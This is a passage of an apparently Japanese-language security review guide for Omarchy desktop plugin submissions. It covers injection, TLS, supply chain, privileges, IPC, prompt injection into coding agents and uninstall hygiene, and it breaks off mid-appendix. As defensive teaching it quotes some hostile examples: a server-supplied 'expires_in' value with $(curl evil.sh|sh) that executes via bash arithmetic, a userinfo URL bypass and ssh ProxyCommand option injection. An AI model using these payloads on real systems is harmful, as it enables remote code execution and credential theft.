$(( ))、[ x -gt y ]、let、declare -i の内部では、bash は名前の内容を読み取り、それを算術式として再評価します。また、そこで使われる配列の添字はコマンド置換になります。サーバーが "expires_in": "a[$(curl evil.sh|sh)]+3600" と応答すると、コマンドが実行され、もっともらしい数値も出るため、何も気づきません。これはトークン更新スクリプトで実際に発生し、重大な障害となりました。算術演算に使う値は、事前に必ずフィルターに通すか、Python で解析してください。Python なら数値でない値は単に int() の失敗になります。
number_or() {
local value="$1" fallback="$2"
case "$value" in ''|*[!0-9]*) printf '%s' "$fallback"; return 0 ;; esac
[ "${#value}" -le 12 ] || { printf '%s' "$fallback"; return 0; }
printf '%s' "$((10#$value))"
}
sleep_until=$(( $(date +%s) + $(number_or "$expires_in" 300) ))
実行ファイルと環境(約180件のコメント)
単独の hyprctl、jq、curl、python3、#!/usr/bin/env bash、shutil.which()、command -v、~/.local/bin のフォールバック、環境変数による実行ファイルの上書きは、別のプロセスが先頭に追加できる PATH を通じて解決されます。bash -lc はプロファイルを読み込みます。非対話型の bash でも BASH_ENV は適用されます。PYTHONPATH、PERL5OPT、GIT_DIR、LD_PRELOAD は継承された環境に含まれて渡されます。9月のポリシー以降、これは同一 UID のケースに限った強化策ですが、認証情報や権限の境界が関わる場合は、引き続きブロッカーとなります(偽装された curl はベアラートークンを受け取ります)。対策として、絶対パスの /usr/bin/... を使用し、clearEnvironment: true と最小限の環境(HOME、XDG_RUNTIME_DIR、固定の PATH)を明示します。システムのインタープリターには /usr/bin/python3 -I -S を使用します(固定されたプラグイン所有のパスにある venv インタープリターには -I のみを使います。-S を指定すると、venv が必要とする site-packages が除外されるためです)。バンドルされたヘルパーはマニフェストのディレクトリから解決します(manifest.__sourceDir と、プラグインファイルからの相対パスである Qt.resolvedUrl("bin/...") はどちらも許容されます)。また、悪意のある PATH を使った回帰テストを追加します。このルールは、認証情報を扱う経路上のすべての実行ファイルに適用され、シークレットを直接受け取る実行ファイルだけが対象ではありません。証明書のピンを計算する openssl によって、鍵を送信するかどうかが決まります。
オプションインジェクション、URL、保存されたアクション
- すべてのデータ引数の前に
--を置きます。例:["wl-copy", "--", text]、["xdg-open", "--", url]、mpv --no-terminal -- "$stream"、git clone -- url dest。ssh hostは argv からでも-oProxyCommand=...をオプションとして解析します(ssh -Gで確認してください)。yt-dlpは--execを実行します。検索語にはプレフィックスを付け("ytsearch12:${q}")、先頭が-のものを拒否し、文字列全体の形式を検証します。 xdg-open、Qt.openUrlExternally、urlopen、またはブラウザーに渡す URL は、一度解析し、https(必要な場合に限りhttp/mailtoも)を必須とし、ユーザー情報と制御文字を拒否したうえで正規化し、ホストを完全一致または.domain境界で照合します。https://evil.example\@vendor.com/は単純な正規表現をすり抜けます。urlopenはfile:を扱えるため、SSH 鍵がダウンロードフォルダーにコピーされるおそれがあります。取り込み時と利用時の両方で検証してください。- データ内の文字列を実行してはいけません。設定や状態の
source/dofile、.desktop行のeval、クリック時に再実行される通知のexecヒント(「アプリ名/ヒントは認可の境界ではありません」)、ウィンドウクラスから導出した起動コマンドは使用しません。また、信頼できないリポジトリでcore.fsmonitor=とcore.hooksPath=/dev/nullを設定せずにgit statusを実行してはいけません。 - 生成する設定はパーサーとの境界になります。Lua、JSONC、TOML、systemd ユニット、modprobe、
curl --config、Git の認証情報プロトコルでは、CR/LF と引用符をエスケープするか拒否してください。.desktopのName=をsedでomarchy-menu.jsoncに挿入した結果、ランチャーコマンドが仕込まれました。 - Electron または Chromium の起動に
--no-sandboxを追加しないでください。
6. ネットワークと TLS
- 認証情報を伴うリダイレクト(コメント約130件):
urllibのデフォルトハンドラーとcurl -Lは、HTTPS から HTTP へのリダイレクトも含め、30x が指定するホストへAuthorizationを転送します。認証情報を伴うリクエストではリダイレクトを拒否します(redirect_requestがNoneを返すHTTPRedirectHandlerを使用するか、curlで-Lを使わない)。または、各ホップで正確な(scheme, host, port)を再検証し、変更があれば認証情報を削除します。--proto-redir =httpsで制限できるのはスキームだけです。 - シークレットを使った平文 HTTP(コメント約60件):
http://のベース URL、curl -k、verify=False、ssl._create_unverified_context()、mpv のtls_verify=0、/cert:ignore、デフォルトでhttp://ip-api.comを使用するケースなどです。コードで HTTPS を必須にし、HTTP は文字どおりのループバックアドレスに限って許可し、検証を無効化できるようにはしません。自己署名証明書を使う LAN デバイスでは、明示的な初回設定フローでフィンガープリントまたは公開鍵をピン留めし(curl --pinnedpubkey)、変更を拒否します。安全でないフォールバックは用意しません。DHCP リース上のデバイスのアドレスは、誰が接続を待ち受けているかの推測にすぎず、その相手が誰であるかを示すものではありません。そのため、認証情報を送信する前にピンを確認します。
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False # CN is a serial number, not a hostname
ctx.verify_mode = ssl.CERT_NONE # replaced by the narrower check below
sock = ctx.wrap_socket(raw) # handshake: nothing secret has gone out yet
if sha256(sock.getpeercert(binary_form=True)).hexdigest() != pinned:
raise Untrusted() # only now send the credential
ここでの CERT_NONE は弱点ではなく、ホスト名の検証をより厳格な仕組みに置き換えるものです。許可される証明書は、セットアップ時に人が確認した1つだけです。ピンの再設定は明示的な対話操作とし、古いフィンガープリントと新しいフィンガープリントを表示します。自動では行いません。
- SSRF と DNS リバインディング(コメント約90件):設定可能な URL やレスポンスから提供された URL は、ループバック、RFC1918、リンクローカル、
.localを指すことも、検証時と接続時で異なるアドレスに解決されることもあります。名前解決を行い、グローバルアドレス以外をすべて拒否し、接続時には検証済みアドレスを固定しつつ Host と SNI は維持します(curl --resolve)。各ホップでこれを繰り返し、環境プロキシを無効にし(ProxyHandler({})、--noproxy '*')、実際の IP パーサーでアドレスを解析します(127.999.999.999は正規表現をすり抜けます)。 - 固定オリジン:API のベース URL は定数として保持します。保存済みのトークンを渡す設定可能な
apiUrlは、認証情報を再利用しない、目立つ形で明示的な同意を得る開発用オーバーライドでない限り、重大な問題です。 curlの衛生管理:最初にcurl -qを指定し、--proto =https --proto-redir =https、--max-time、--max-filesizeとhead -c、先頭の@をリテラルとして扱うための-H @-または--data-rawを使います。URL は--の後ろに単独の引数として指定します。トークンから--configファイルをprintfで生成してはいけません。引用符や改行も別のディレクティブになり得ます。- OAuth:
127.0.0.1のループバックコールバック、完全一致で比較するランダムなstate、PKCE、有限のタイムアウトを使い、第三者プロキシ経由でトークンを送信しません。
7. サプライチェーンとインストール
- インストール時または実行時に変更されるコード(コメント約250件):
curl ... | sh、bash <(curl ...)、mainまたはリリースタグのクローン(「Git タグは移動できるため」)、releases/latest、--revを指定しないcargo install --git、ハッシュを指定しないpip install、npm -g @latest、更新のたびに実行するnpx -y、-gitパッケージのyay -S、docker :latest、プラグイン内からのgit pull、yt-dlp -U、バイナリと同じリリースから取得するチェックサム(「チェックサムはバイト列をそれ自体に結びつけるだけです」)。レビュー済みスナップショットと実行されるコードは同一でなければなりません。40文字の完全な SHA を必須とし、そのオブジェクトを取得して、rev-parse FETCH_HEAD^{commit}とHEADがその SHA と一致することを検証し、新しいフック無効化ディレクトリ(-c core.hooksPath=/dev/null)で detached checkout してからビルドします。cargo build --lockedを使用し、コミット済みロックファイルからpip --require-hashes --no-depsを実行します。アーティファクトは、レビュー済みコミットに保存された URL、サイズ、SHA-256 を使って取得し、非公開の一時領域にダウンロードして、サイズ上限を設けたストリーミング中にハッシュを計算してから、アトミックに配置します。自己更新の経路はすべて削除してください。推奨:ソースビルドを一切行わず、omarchy pkg addと文書化された前提条件を使用します。 - 同梱バイナリ(コメント約100件):コミットされた ELF、
.pyc、.qsbシェーダー、AOT バンドルは「検査できません」。ソースを提供し、文書化され、同意を得たセットアップ手順でビルドするか、ピン留めされたコミットからダイジェスト固定コンテナ内で正確なアーティファクトをバイト単位で再現できる CI を用意し、署名済みアテステーションを添付してください。付属の.sha256は来歴の証明にはなりません。CI アクションは完全な SHA に、イメージはダイジェストに固定し、permissions: contents: readを設定してください。 - 読み込み時の副作用:仮想環境を構築する
Component.onCompleted、読み込み時のinstall.sh --ensure、スキルを~/.claudeまたは~/.codexにシンボリックリンクする処理、ステータスのポーリング時に~/.bashrcへsourceブロックを追記する処理。通常の有効化は読み取り専用です。ダウンロード、ビルド、パッケージのインストール、永続的な書き込み、サービスの変更は、明確なラベル付きボタンまたは文書化されたターミナルコマンドから行い、その前の状態を保持してください。 - AUR のインストールで
--noconfirmを使うと、唯一のレビュー手順が省略されます。pacman -Rddは他のパッケージを破損させます。 - ベンダーコード:上流のコミットを記録し、ライセンス表記を維持して、変更内容をすべて開示してください。上流のガードを削除した翻訳フォークは、問題点として指摘されます。
8. 権限とシステム統合
- チェックアウト内のコードを昇格実行しないでください(約120件のコメント):
sudo ./install.sh、pkexec <plugin-dir>/helper、~/.config/omarchy/plugins/...を指定するsudoers、/usr/binからチェックアウトへのシンボリックリンク、ユーザーが書き込み可能なファイルのテキストを使うpkexec bash -c "$script"などが該当します。認証ダイアログが表示されている長い時間の間に、同じユーザーの任意のプロセスがファイルを差し替えられます。また、sudoのタイムスタンプが有効なら、そもそもプロンプトは表示されません。rootが実行するのは、rootが所有するバイト列だけにしてください。目に見えるターミナルで一度だけsudo install -o root -g root -m 0755を実行し、/usr/local/libexec/<plugin>/にインストールしてください。対応するpolkitポリシー、または固定の動詞とリテラル引数のみに制限し、visudo -cfで検証したsudoersルールを使用し、データは標準入力で渡し、すべての入力をroot側で検証します。より望ましいのは、権限境界をなくすことです(~/.local/binにインストールする、systemctl --userを使うなど)。 - 過剰に広い権限付与:ツール全体に対する
NOPASSWD(wg-quick、tlp、systemctl、killなど)、polkitのallow_active=yesやIdentity=*、command_lineにパスが含まれているだけで一致するルール(共有シェルプロセス内の任意のコードが同じチェックを満たします)、udevのMODE=0666、sysfsへのchmod a+w、rootが読み込むグループ書き込み可能な/etc設定、inputまたはdockerグループへの恒久的な所属(それぞれキーロギング、rootと同等の権限につながります)、PATHから解決されるバイナリへのsetcapなどが該当します。auth_admin、TAG+="uaccess"、または0660の専用グループを使用し、取り消しによって権限が失われる最小権限にしてください。 - ユーザーのパスをたどるroot処理:ユーザーが管理するパスへの特権付き
cp -f、chown、install、rm、ユーザーが書き込み可能な状態から読み取ったPID、アーカイブ、パッケージ名、ハッシュなどが該当します。特権コードが扱うのは、直前に検証したroot所有の固定された非シンボリックリンクパスだけにしてください。また、ユーザーのPIDファイルを決して信頼しないでください。 - rootによる変更はトランザクションとして扱います。変更前にジャーナルを記録し、置き換える対象をバックアップし、失敗時にはロールバックし、作成したものと既存のものを区別してください。管理者が事前に作成した設定は削除せず、
/var/lib/pacman/db.lckも決して削除しないでください。 - 特権コマンドは、非表示の
pkexecではなく、目に見えるターミナル(omarchy-launch-floating-terminal-with-presentation)で表示して実行してください。
9. プロセス、PID、シグナル、デーモン
- 期限がなく、プロセスグループを終了しない(約530件のコメント。大半は9月以降の強化に関するものですが、引き続き要望されています):
Process.running = falseとProcess.signal()が対象にするのはラッパーだけなので、bash -c、hyprctl | head、ssh、pkexecの子孫プロセスは残ります。-kを付けないtimeout、終了処理を行わずに戻るcommunicate(timeout=)、予算のない再起動ループ、Component.onDestructionで何もしない実装なども該当します。各ヘルパーを独自のセッション(setsid、start_new_session=True、またはsystemd-run --user --scope)で実行し、単一のスーパーバイザーのもとで、絶対期限と実行中のバイト数上限を適用してください。期限超過、容量超過、置き換え、キャンセル、破棄の際には、プロセスグループ全体にTERMを送信し、短い猶予を置いてからKILLを送り、回収してください。リーダープロセスが終了した後も、強制終了タイマーを維持してください。rc=Noneや観測の失敗を「終了した」と見なしてはいけません。 - PIDの再利用(約110件のコメント):保存したPID、PIDファイル、
pkill -f substring、killall、または/proc/<pid>/commを確認してから別の操作としてkillする方法は使わないでください。所有しているProcessハンドルを保持してください。それができない場合は、プロセスの稼働が確認できている間に/proc/<pid>/statから(pid, start time, uid)を取得し、シグナルを送る直前に毎回読み直すか、pidfd_open/pidfd_send_signalを使用してください。識別情報を読み取れない場合は、安全側に倒して処理を中止してください。rootヘルパーは、ユーザーファイルで指定されたPIDにシグナルを送ってはいけません。 - 古いリクエストへの対策:各リクエストの世代を記録し、一致しない完了結果は破棄してください。変更処理は直列化し、ポーリングは同時に1つだけ実行してください。
- デタッチして起動するものには、プラグインのディレクトリが削除された後も機能する停止手段が必要です。そうしないと、
omarchy plugin removeの後もプロセスが残ります。
10. Hyprland、Omarchy と共有ユーザー設定
- 共有設定を安全でない方法で書き換える、または同意なく書き換える(コメント約140件):読み込み時に
bindings.luaに追記する、hyprland.luaに対してsed -iを実行する、/tmp内の一時ファイルを介してshell.jsonを書き換える、終了マーカーがない場合に開始マーカーから EOF までを切り詰めるawkブロック編集、失敗を握りつぶしながら「ロールバック済み」と報告する復元関数、Component.onCompleted内でのhyprctl keyword。提出チェックリストでは、明示的な同意なくプラグインがユーザー設定を上書きしないことが求められており、レビュー担当者もその基準で評価します。プラグイン専用の状態ファイル、またはshell.json用のhost.mutateShellConfig()/updateEntryInlineを優先してください。共有ファイルを編集する必要がある場合は、ユーザーによる明示的な操作、値を埋め込まない一意の連続したマーカーブロック、形式不正またはマーカー重複時に安全側に失敗する厳密な構造検証、バックアップ、同じディレクトリ内に作成する排他的な一時ファイルとアトミックな置換、hyprctl reloadとhyprctl configerrorsの実行および正確な元のバイト列とモードへのロールバック、アンインストール時にそのブロックだけを削除することが必要です。 - 所有権の証明と別個の明示的な操作なしに、他のコンポーネントのファイル(Nautilus 拡張機能、他のプラグインの状態、WirePlumber の設定、グローバルショートカット)を変更、上書き、削除しないでください。
*.conf.dディレクトリに配置するものには名前空間を設けてください。 - グローバルなコンポジターのバインドはファイルマーカーでは所有権を証明できません。プラグイン専用の layer-shell クリックキャッチャーまたはサブマップを優先してください。
- Hyprland 内で
io.openを使って置き換え可能な JSON を読み込む生成 Lua、または状態ファイルに対するdofileは、状態をコードとして実行します。受動的でサイズ上限のあるデータを保存し、閉じたスキーマで解析してください。
11. ローカル IPC、ソケット、ポート、D-Bus
- 認証のないローカル制御(コメント約80件):
/tmp内の 0666 ソケット、SO_PEERCREDのない抽象ソケット、トークンまたはOrigin/Hostチェックなしで状態を変更する POST リクエストを受け付けるループバック HTTP サーバー(どのウェブページからでも単純なリクエストを送信できます)、書き込みトークンを返す/api/bootstrap、固定 DevTools ポート、送信元を確認しない D-Bus サービス、0.0.0.0にバインドされたサービス。「ループバックへのバインドは認証ではありません。」ソケットは、検証済みの 0700 ランタイムディレクトリ内にモード 0600 で配置し、SO_PEERCREDによる UID チェックとクライアント数の上限を設けてください。HTTP では、ランダムなポート、セッションごとに生成するrandomBytes(24)トークンの定数時間比較、Host/Originチェック、JSON のみのコンテンツタイプ、解析前のフレームサイズ上限と接続ごとの期限を設定してください。 - 公開
IpcHandlerメソッド(コメント約25件):omarchy-shell shell ...から呼び出せるもので、ユーザーの操作なしに状態を変更する、キャプチャまたはエージェントを開始する、削除する、機密データを返すものは、いずれも問題となります。IPC はパラメーター不要のopen/close/toggleに限定し、少数のパラメーターはNumber()で型変換して、UI と同じ上限をハンドラー内でも適用してください。プラグイン本来の通常動作(パネルを開くテストフックなど)を呼び出すだけのパラメーター付きメソッドは強化事項です。一方、状態の永続化、キャプチャ、削除、支出、コマンドまたはパスのシンクへの到達を伴うものはブロッカーです。 - 行単位でフレーム化されたソケットとネイティブメッセージングホストでは、改行までバッファリングする前にバイト数の上限を設け、接続数の上限と期限も設定してください。
12. プライバシー、開示、README の記載内容
- コードと一致しない記載(コメント約85件):
AutoTextまたは Markdown レンダラーがリソースを取得するのに「ネットワーク通信なし」、wttr.inを呼び出すのに「Open-Meteo のみ」、パスワードがshares.jsonに保存されるのに「keyring のみ」、モードを設定していないのに「0600」、~/.config/hyprを編集するのに「一切編集しない」、音声がapi.openai.comに送信されるのに「文字起こしはローカルに保持される」などです。この食い違い自体が阻害要因です。レビュー済みのコミットで README、マニフェスト、提出チェックリスト、コードの内容を一致させ、外部エンドポイント、認証情報とそれぞれの送信先ドメイン、書き込まれるファイル、削除後に残るものをすべて記載してください。 - 機微な情報の取得には、十分な説明に基づくオプトインが必要です:すべての
/dev/input/event*を開く、編集中の文字列を記録する、デフォルトの経路で IP ジオロケーションを行う、有効化時にブラウザーの LevelDB ストアをスキャンする、キャンセルされたピッカーでクリップボードを読み取る、ウィンドウタイトルや argv を取得するなどです。デフォルトでは無効にし、対象範囲を限定し、最初のリクエストを行う前に明示的な同意を得てください。 - キャッシュの内容もプライベートデータに含まれます(セクション2)。
13. AI エージェントとプロンプトインジェクション
- インストール可能なツリー内のエージェント向け指示ファイル(コメント約40件):
AGENTS.md、CLAUDE.md、.claude/、.codex/、.agents/、.gemini/、SKILL.md、.herdr/。omarchy plugin addはリポジトリをそのまま、コーディングエージェントが自動検出するパスにコピーするため、内容に関係なくプロンプトインジェクションの攻撃対象になります。配布ツリーからこれらを削除してください(エージェントが自動読み込みしないdocs/CONTRIBUTING.mdなら問題ありません)。スキルを~/.claude/skillsにシンボリックリンクしたり、~/.claude/CLAUDE.mdに追記したりするインストーラーには、別途、開示したうえでのオプトインが必要です。 - 信頼できないテキストを、ツール実行能力のあるエージェントに渡すこと(コメント約45件):文字起こし、字幕、OCR、クリップボード、コンテナーラベル、リモートコンテンツを
claude -p、codex exec、opencode run、Copilot、Crush に送信するケースです。-pでもツールを使えます。--allowedToolsを省略しても拒否の境界にはなりません。--sandbox read-onlyでもホームディレクトリは読み取れます。プロンプトの一文や Bash のパターン許可リストも、認可の境界にはなりません。コード上でツールを使用しないことが保証できる呼び出し(--tools "")のみを使用してください。それができないエージェントではフェイルクローズにし、--dangerously-skip-permissions、--yolo、--auto-approve、--allow-all-toolsは決して使用せず、デフォルトで無効にし、各操作の正確な argv を表示した画面上の確認を求めてください。モデルの出力は PlainText として表示してください。 - プロンプトに含める信頼できない値は、制御文字を除去して長さを制限し、信頼できないデータであることを明示するラベル付きの区切りブロックに入れてください。
14. 削除、アンインストール、残存状態
- README の削除セクション(コメント約80件):提出要件で必須です。現在の ID を使った正確な
omarchy plugin remove <id>コマンドを示し、残存するすべての項目(状態データ、キャッシュ、認証情報、keyring のエントリー、ユニット、フック、パッケージ、シンボリックリンク、ファイアウォールルール、sudoers、udev)を列挙してください。実際のパスとともに、削除されるものと保持されるものを明記してください。メールの件名、カメラのフレーム、位置情報をキャッシュする場合、削除後も残ることを記載してください。削除方法としてrm -rfを決して案内しないでください。 - 実行中または権限付与済みのものを残す削除処理(コメント約70件):切り離されたデーモン、MPV の子プロセス、サインイン済みの Chromium、ユーザータイマー、
NOPASSWDルール、polkit アクション、theme-set.d内のフック、メニュー行、生成された Hyprland ブロック、再有効化されないタッチパッドなどです。プラグインのディレクトリがなくなった後も実行できるクリーンアップ処理を用意し、プラグインが起動した子孫プロセスを停止し、付与した権限を取り消し、以前の状態に戻してください。 - 削除しすぎるアンインストーラー(コメント約70件):環境変数から取得したディレクトリへの
rm -rf、themes/omarchy-*のワイルドカード展開、すべての WireGuard 接続の削除、PATH 上のバイナリを所有するパッケージの削除、プラグイン名を含むファイルをすべてプラグイン所有物とみなすことなどです。このプラグインが書き込んだことを識別情報(マーカー、コンテンツハッシュ、記録済みのシンボリックリンク先)で証明できる、名前を明示したパスのみを削除してください。管理対象外のツリーは拒否し、rm -rfやワイルドカード展開は決して使用せず、インストールとアンインストールは対称にしてください。
15. リポジトリの衛生管理
- README やスクリーンショットに実際のデバイス識別情報(シリアル番号、証明書のフィンガープリント、MAC アドレス、アカウント ID)を含めないでください。もっともらしいプレースホルダーを使ってください。レビュアーはプライバシーの観点から README を確認します。
- トークンの漏えいや開発用アーティファクト(
.gstack/、.wrangler/、__pycache__、キャプチャーコーパス、43 MiB の GIF)があると、リポジトリ全体がブロックされます。トークンを失効・ローテーションし、該当ファイルを削除して、除外ルールを追加してください。 - ホームディレクトリをハードコードしたパス(
/home/you/...)はほかのすべてのユーザーの環境で動作せず、レビュアーにも見つかります。ヘルパーはmanifest.__sourceDirまたはプラグインディレクトリから解決してください。 - Manifest ID、
moduleName、ipcTarget、README のコマンド、インストールパスは一致させてください。omarchy.clockのような組み込みの名前空間は再利用しないでください(標準ウィジェットの設定や IPC と衝突します)。予約済みまたは廃止済みの ID は再利用できません。schemaversionではなくschemaVersionを使ってください。上流の SHA を示す場合を除き、クローン専用のomarchy.clonedFromは使用しないでください。 - ライセンスファイルを含めてください。バンドルしたフォント、アイコン、サウンド、データセットには、再配布権を確認できる根拠と上流の通知が必要です。ベンダー同梱コードの通知もそのまま残してください。
- スキャナーの上限は、テキストファイルごとに 512 KiB、合計 8 MiB、1,000 ファイルです。ソースファイルにリテラルの NUL バイトがあると、ベースラインチェックが停止します。ファイル名に
install、setup、uninstallのいずれかが含まれるファイルはテキストとして読み込まれるため、setup.pngはスキャンに失敗します。プレビューはルートにpreview.pngとして配置してください(検証ではpreview.jpg、preview.jpeg、preview.webp、preview.avifも受け付けます。それ以外の名前はプレビューとして扱われません)。 - テストはすべて成功する状態にしてください。レビュアーはテストを実行し、失敗するテストスイートを修正せずに削除していることに気づきます。
自動ベースラインチェック
ボットは、指定されたコミットに対して security-baseline-scanner.mjs を実行します。このチェックは決定論的で、対象を限定しています。ブロック対象となる検出項目(security-needs-fixes)は、curl-pipe-shell、remote-git-execution-unpinned、cargo-git-unpinned、sudoers-dangerous-passwordless-command、privileged-process-control-from-shared-temp です。手動レビューのみが必要な機能(security-review-required)は、installer、package-manager、privilege(否定形ではない sudo/pkexec)、remote-build、service-management、bundled-executable-binary、sudoers-modification です。README に「sudo は不要です」という文がある場合、メンテナーが文字列一致として判定を除外します。その文を削除する必要はありませんが、ラベルが付くことは想定してください。
提出の前には毎回、ローカルで実行してください。1 分で済み、1 日分の手戻りを防げます。
mp=$(mktemp -d) && git clone --depth 1 https://github.com/omacom/omarchy-plugin-marketplace "$mp" && cd "$mp" && npm ci --silent
GITHUB_TOKEN=$(gh auth token) SHA=$(git -C /path/to/plugin rev-parse HEAD) \
node --input-type=module -e '
import { runSecurityBaseline } from "./scripts/security-baseline-scanner.mjs";
const r = await runSecurityBaseline("https://github.com/<owner>/<repo>", process.env.SHA,
{ token: process.env.GITHUB_TOKEN, requiredPaths: ["Panel.qml"] });
console.log(r.outcome, JSON.stringify(r.findings, null, 2), JSON.stringify(r.capabilities));'
検出項目も機能もなく passed となった場合、メンテナーの承認後に自動的に Verified になります。それ以外は、このスキルで説明する手動レビューを待つことになります。
提出手順で何日も無駄にしないために
- SHA の完全一致による紐付け(約 210 件のコメント):検証、エンコードされたベースライン、現在のデフォルトブランチの HEAD、手動レビュー済みのツリーは、すべて同じ 40 文字のコミットでなければなりません。検証後にプッシュすると、README や
preview.pngだけの変更であってもレビューは古くなり、ラベルは適用されません。修正をすべて 1 つの最終コミットにまとめてから検証を実行し、承認されるまで HEAD を変更しないでください。短縮 SHA は受け付けられません。 - 再検証のトリガーは issue 本文の編集であり、コメントではありません。 ワークフローは
issues: [opened, edited, reopened, labeled]を監視します。本文内の何かを実際に変更する必要があります。修正後の SHA を返信するのは礼儀として行うものです。 - 提出フォーム:タイトルは
[Plugin]:で始めます。SUBMISSION.mdにある 6 つの見出しを順番どおりにすべて記載します。5 つのチェックボックスは文言を一字一句正確に記載します。### Repository URLにはリポジトリのルート URL のみを記載し、末尾にスラッシュを付けません。カテゴリは指定どおりの表記で 1 つだけ記載します。タグは最大 3 つです。ルートにpreview.pngとライセンスファイルを置きます。コメントをしてもメタデータは更新されません。 - ラベル:
needs-fixesとsecurity-needs-fixesはブロッカーです。security-review-requiredとmanual-setupは分類であり、ブロッカーではないため、掲載時も維持されます。omarchy plugin add ... --enableだけではプラグインが動作しない場合(外部 CLI、アカウント、API キー、デーモン、ネイティブビルド、グループへの所属、バインディングの編集など)は、manual-setupが適用されます。Omarchy にすでに同梱されているものは該当しません。 - 7 日ルール:ブロッカーが未解決のまま 7 日間応答がない提出はクローズされます。修正後に新しい issue を作成してください。
- 更新:掲載済みプラグインの新しいコミットは、完全な SHA を指定して
[Verify]フォームから公開します。ID は掲載内容と一致していなければなりません。フォームの見出しを変更するとパーサーが動作しなくなります。コメントに記載した SHA ではリクエストの対象は変更されません。 - 重複、移転、フォーク:リポジトリごとに issue は 1 つです。リポジトリ名を変更または移転した場合は、新たに提出する必要があります。フォークまたは
clonedFromは上流のすべての指摘を引き継ぐため、上流の SHA を記録してください。 - 返信で有効な文言:正確なコミット、クローズ済み(移動ではなく)と明記した各指摘とそのファイル名・行番号、報告された競合状態に対して追加したテスト。レビュアーは「実際に実行されるフロー」を検証し、修正として申告されたコミットを差分比較し、
textFormatの検索件数を数え、Quickshell の挙動を測定します。不正確な申告は新たな指摘として扱われます。 - プラグインの 1 つで見つかった指摘は、すべてのプラグインに適用されます。レビュアーは作者の他の提出物も確認します。再確認の前に、すべてのリポジトリで該当する問題を修正してください。また、再確認時に対応内容を確認できるよう、報告者のコメントへのリンクをコミットメッセージに記載してください。
提出前チェックリスト
ファイルと状態
- プラグインが作成したものではないファイルを読み取る場合は、単一の
O_NOFOLLOW|O_NONBLOCKディスクリプターを使い、fstatで検証してからcap + 1バイトを読み取る - 書き込みはすべて、宛先ディレクトリ内に作成する排他的なランダム名の一時ファイルを使い、作成時に 0600 を設定し、
fsync、rename、ディレクトリのfsyncを行う - 親ディレクトリはディスクリプターを保持してたどる。後から信頼するディレクトリ階層に
mkdir -pを使わない。権限の修復は無条件で実行し、通常ファイルではないエントリーを削除する - 固定の
/tmpパスや${XDG_RUNTIME_DIR:-/tmp}を使わず、安全側に失敗させる -
FileViewは監視専用(preload: false、blockAllReads: true)にする - トラバーサル、削除、アーカイブ展開は、開いたルートの範囲内に制限し、
..、シンボリックリンク、特殊ファイルを拒否する
シークレット
- トークン、パスワード、OTP、プライベートな内容を argv や環境変数に含めない。代わりに stdin または
-H @-を使う。トークンをcurl --configに埋め込まない。最初にcurl -qを使い、トレースは無効にする - 認証情報ファイルは作成時に 0600、ディレクトリは作成時に 0700 にする。キーリングを優先し、警告なしのプレーンテキストへのフォールバックは行わない
- ログ、エラー、通知、長期間保持される QML プロパティにシークレットを含めない 境界
- すべての子プロセスは生成元でバイト数を制限し(
head -c cap+1)、絶対期限を設け、専用のプロセスグループで実行し、TERM/KILLを送信して回収する - すべてのリモートレスポンスはストリーミング中にサイズを制限する(
--max-filesizeとhead -c、read(MAX+1)) - バイト数の上限を設けた後、項目数、文字列の長さ、深さ、有限数、null プロトタイプのマップも制限する
-
StdioCollectorを使わない。信頼できない出力にデフォルトのSplitParserを使わない
QML
- すべての
Text、Label、TextEditにtextFormat: Text.PlainTextを設定する(監査スクリプトによると未設定のものはありません) -
tooltipText、ConfirmDialog、PanelSectionHeader、WidgetButtonに渡す文字列から<、>、&、制御文字を除去し、長さを制限する - リモートまたはプレイヤーが指定した URL を
Image.sourceに渡さない。sourceSizeを指定してローカルコピーを使う
コマンドとネットワーク
- すべてのプロセスを argv 配列で実行する。
sh -cを使う場合は、固定スクリプトが$1を受け取る形式にする。閉じた文法でない限り、hyprctl evalの文字列に外部入力を含めない -
$(( ))、[ x -gt y ]、let、declare -iに外部入力を含めない - すべてのデータ引数の前に
--を指定する。オプション形式の値は拒否し、xdg-openの前に URL を解析してホストを許可リストと照合する - 秘密情報または権限が関わる場合は、絶対パスで実行ファイルを指定し、
clearEnvironment: trueを設定する - HTTPS のみを使用する。認証情報を含むリクエストではリダイレクトを拒否し、グローバルアドレスではないアドレスを拒否して固定し、API のオリジンを固定する
サプライチェーン、権限、プロセス
-
curl | sh、ブランチまたはタグのクローン、releases/latest、固定されていないパッケージのインストール、自己更新を行わない。完全な SHA と detached checkout、またはハッシュで固定したインストールを使用する - 実行ファイルをコミットしない。または再現可能なビルドの証明を用意する
- チェックアウトから昇格実行しない。ルールを限定した root 所有の固定ヘルパーを使うか、権限を一切使わない
- シグナルは、所有するハンドル、または送信直前に再読み込みした
(pid, start time, uid)に対してのみ送る - プラグインの読み込みで何も変更しない。インストール、ダウンロード、設定編集はすべて明示的な操作によってのみ行う
設定、IPC、エージェント、削除、リポジトリ
- Hyprland または
shell.jsonの共有編集は、明示的な操作で実行し、マーク付きブロックを1つだけ使い、バックアップ、検証、再読み込み、ロールバックを行い、アンインストール時に削除する - ソケットは検証済みの 0700 ランタイムディレクトリに配置し、
SO_PEERCREDを使う。HTTP はセッションごとのトークンとOrigin/Hostの検証を使う。IPC メソッドにパラメーターを持たせない - ツリー内に
AGENTS.md、CLAUDE.md、.claude、.codex、.agentsを置かない。信頼できないテキストに対してツールを有効にしたエージェント呼び出しを行わない - README には、すべてのエンドポイント、書き込むすべてのファイル、実際の
omarchy plugin remove <id>を記載した「削除」セクション、および削除後に残るものを記載する。記載内容はコードと一致させる - 削除時にはデーモンを停止し、許可を取り消し、状態を復元し、所有権を証明できるパスのみ削除する
- README に実際のシリアル番号、フィンガープリント、アカウント ID を記載しない。トークンや開発用アーティファクトを漏らさない。ホームディレクトリのパスをハードコードしない。512 KiB を超えるファイル、NUL バイトを含むファイルを置かない。プレビューのファイル名は
preview.pngとし、ライセンスを含め、ID を一致させる - ローカルのベースライン実行結果が
passedであること。すべての修正を1つのコミットにまとめ、検証を起動するために issue 本文を編集すること
付録:レビュー担当者に承認されたヘルパー
ファイル記述子に紐づけた状態ファイルヘルパー(Python)
QML から argv 配列(["/usr/bin/python3", "-I", "-S", helperPath, "read", name])で呼び出し、FileView はウォッチャーとして使います。これはこれまで数十回承認された形式です。上限とスキーマに合わせて調整してください。
#!/usr/bin/python3 -I
import os, pwd, re, stat, sys, json, secrets
MAX_BYTES = 65536
_COMPONENT = re.compile(r"[A-Za-z0-9._-]+")
def _ok_component(name):
return bool(_COMPONENT.fullmatch(name)) and name not in (".", "..")
def open_dir_chain(parts):
"""Walk from the passwd home with held descriptors; return the final dirfd."""
